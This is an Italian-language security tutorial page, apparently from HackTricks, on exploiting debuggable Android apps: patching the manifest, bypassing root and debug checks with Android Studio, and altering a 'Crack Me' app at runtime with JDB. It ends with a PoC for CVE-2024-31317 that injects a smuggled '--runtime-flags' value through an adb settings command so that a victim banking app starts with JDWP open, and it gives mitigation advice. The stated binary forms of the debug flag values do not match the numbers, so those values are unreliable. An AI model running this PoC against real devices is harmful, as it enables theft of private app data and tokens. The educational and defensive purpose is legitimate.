Sfruttare unâapplicazione debuggabile
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Evitare controlli di root e debuggabilitĂ
Questa sezione del post è un riassunto del post https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Passaggi per rendere unâapp Android debuggabile e bypassare i controlli
Rendere lâapp debuggabile
Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Decompila lâAPK:
- Utilizza lo strumento APK-GUI per decompilare lâAPK.
- Nel file android-manifest, inserisci
android:debuggable="true"per abilitare la modalitĂ di debug. - Ricompila, firma e zipaligna lâapplicazione modificata.
- Installa lâapplicazione modificata:
- Usa il comando:
adb install <application_name>.
- Recupera il nome del pacchetto:
- Esegui
adb shell pm list packages â3per elencare le applicazioni di terze parti e trovare il nome del pacchetto.
- Imposta lâapp per attendere la connessione del debugger:
- Comando:
adb shell am setup-debug-app âw <package_name>. - Nota: Questo comando deve essere eseguito ogni volta prima di avviare lâapplicazione per garantire che attenda il debugger.
- Per persistenza, usa
adb shell am setup-debug-app âw ââpersistent <package_name>. - Per rimuovere tutti i flag, usa
adb shell am clear-debug-app <package_name>.
- Preparati per il debug in Android Studio:
- Naviga in Android Studio su File -> Open Profile or APK.
- Apri lâAPK ricompilato.
- Imposta i breakpoint nei file Java chiave:
- Posiziona i breakpoint in
MainActivity.java(specificamente nel metodoonCreate),b.javaeContextWrapper.java.
Evitare controlli
Lâapplicazione, in determinati punti, verificherĂ se è debuggabile e controllerĂ anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dellâapp, disattivare il bit di debuggabilitĂ e alterare i nomi dei binari cercati per bypassare questi controlli.
Per il controllo di debuggabilitĂ :
- Modifica le impostazioni del flag:
- Nella sezione variabili della console del debugger, naviga a:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974. - Nota: La rappresentazione binaria di
flags = 814267974è11000011100111011110, indicando che il âFlag_debuggableâ è attivo.

Questi passaggi garantiscono collettivamente che lâapplicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere bypassati utilizzando il debugger, facilitando unâanalisi o una modifica piĂš approfondita del comportamento dellâapplicazione.
Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rappresentato in binario come 110000101101000000100010100.
Sfruttare una vulnerabilitĂ
Ă stata fornita una dimostrazione utilizzando unâapp vulnerabile contenente un pulsante e un textview. Inizialmente, lâapplicazione visualizza âCrack Meâ. Lâobiettivo è modificare il messaggio da âTry Againâ a âHackedâ durante lâesecuzione, senza modificare il codice sorgente.
Controllo della vulnerabilitĂ
- Lâapplicazione è stata decompilata utilizzando
apktoolper accedere al fileAndroidManifest.xml. - La presenza di
android_debuggable="true"nel AndroidManifest.xml indica che lâapplicazione è debuggabile e suscettibile di sfruttamento. - Vale la pena notare che
apktoolè impiegato esclusivamente per controllare lo stato di debuggabilità senza alterare alcun codice.
Preparazione dellâimpostazione
- Il processo ha comportato lâavvio di un emulatore, lâinstallazione dellâapp vulnerabile e lâuso di
adb jdwpper identificare le porte Dalvik VM che sono in ascolto. - Il JDWP (Java Debug Wire Protocol) consente il debug di unâapplicazione in esecuzione in una VM esponendo una porta unica.
- Il port forwarding è stato necessario per il debug remoto, seguito dallâattacco di JDB allâapplicazione target.
Iniezione di codice durante lâesecuzione
- Lo sfruttamento è stato effettuato impostando breakpoint e controllando il flusso dellâapplicazione.
- Comandi come
classesemethods <class_name>sono stati utilizzati per scoprire la struttura dellâapplicazione. - Ă stato impostato un breakpoint nel metodo
onClick, e la sua esecuzione è stata controllata. - I comandi
locals,nextesetsono stati utilizzati per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio âTry Againâ in âHackedâ. - Il codice modificato è stato eseguito utilizzando il comando
run, alterando con successo lâoutput dellâapplicazione in tempo reale.
Questo esempio ha dimostrato come il comportamento di unâapplicazione debuggabile possa essere manipolato, evidenziando il potenziale per sfruttamenti piĂš complessi come ottenere accesso shell sul dispositivo nel contesto dellâapplicazione.
2024 â Trasformare qualsiasi applicazione in un processo debuggabile (CVE-2024-31317)
Anche se lâAPK target non è fornito con il flag android:debuggable, ricerche recenti hanno dimostrato che è possibile forzare applicazioni arbitrarie a partire con il flag di runtime DEBUG_ENABLE_JDWP abusando del modo in cui Zygote analizza gli argomenti della riga di comando.
- VulnerabilitĂ : Validazione impropria di
--runtime-flagsforniti attraverso il socket di comando di Zygote consente a un attaccante che può raggiungeresystem_server(ad esempio tramite la shell privilegiataadbche possiede il permessoWRITE_SECURE_SETTINGS) di iniettare parametri extra. Quando il comando creato viene riprodotto dasystem_server, lâapp vittima viene forkata come debuggable e con un thread JDWP in ascolto. Il problema è tracciato come CVE-2024-31317 ed è stato risolto nel bollettino di sicurezza Android di giugno 2024. - Impatto: Accesso completo in lettura/scrittura alla directory dei dati privati di qualsiasi app (inclusi quelli privilegiati come
com.android.settings), furto di token, bypass MDM e, in molti casi, un percorso diretto per lâescalation dei privilegi abusando degli endpoint IPC esportati del processo ora debuggabile. - Versioni interessate: Android 9 fino a 14 prima del livello di patch di giugno 2024.
PoC rapida
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app â it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Il valore creato nel passo 1 interrompe il parser dal âfast-pathâ e aggiunge un secondo comando sintetico dove
--runtime-flags=0x104(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) è accettato come se fosse stato fornito dal framework. Una volta che lâapp è avviata, viene aperto un socket JDWP e trucchi di debug dinamico regolari (sostituzione di metodi, patching di variabili, iniezione live di Frida, ecc.) sono possibili senza modificare lâAPK o lâimmagine di avvio del dispositivo.
Rilevamento e Mitigazione
- Applicare la patch al livello di sicurezza 2024-06-01 (o successivo) â Google ha indurito
ZygoteCommandBufferin modo che i comandi successivi non possano essere contrabbandati in questo modo. - Limitare lâaccesso a
WRITE_SECURE_SETTINGS/shellsui dispositivi di produzione. Lo sfruttamento richiede questo permesso, che normalmente è detenuto solo da app ADB o privilegiate OEM. - Su flotte gestite da EMM/MDM, applicare
ro.debuggable=0e negare lâaccesso shell tramiteadb disable-verifier.
Riferimenti
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

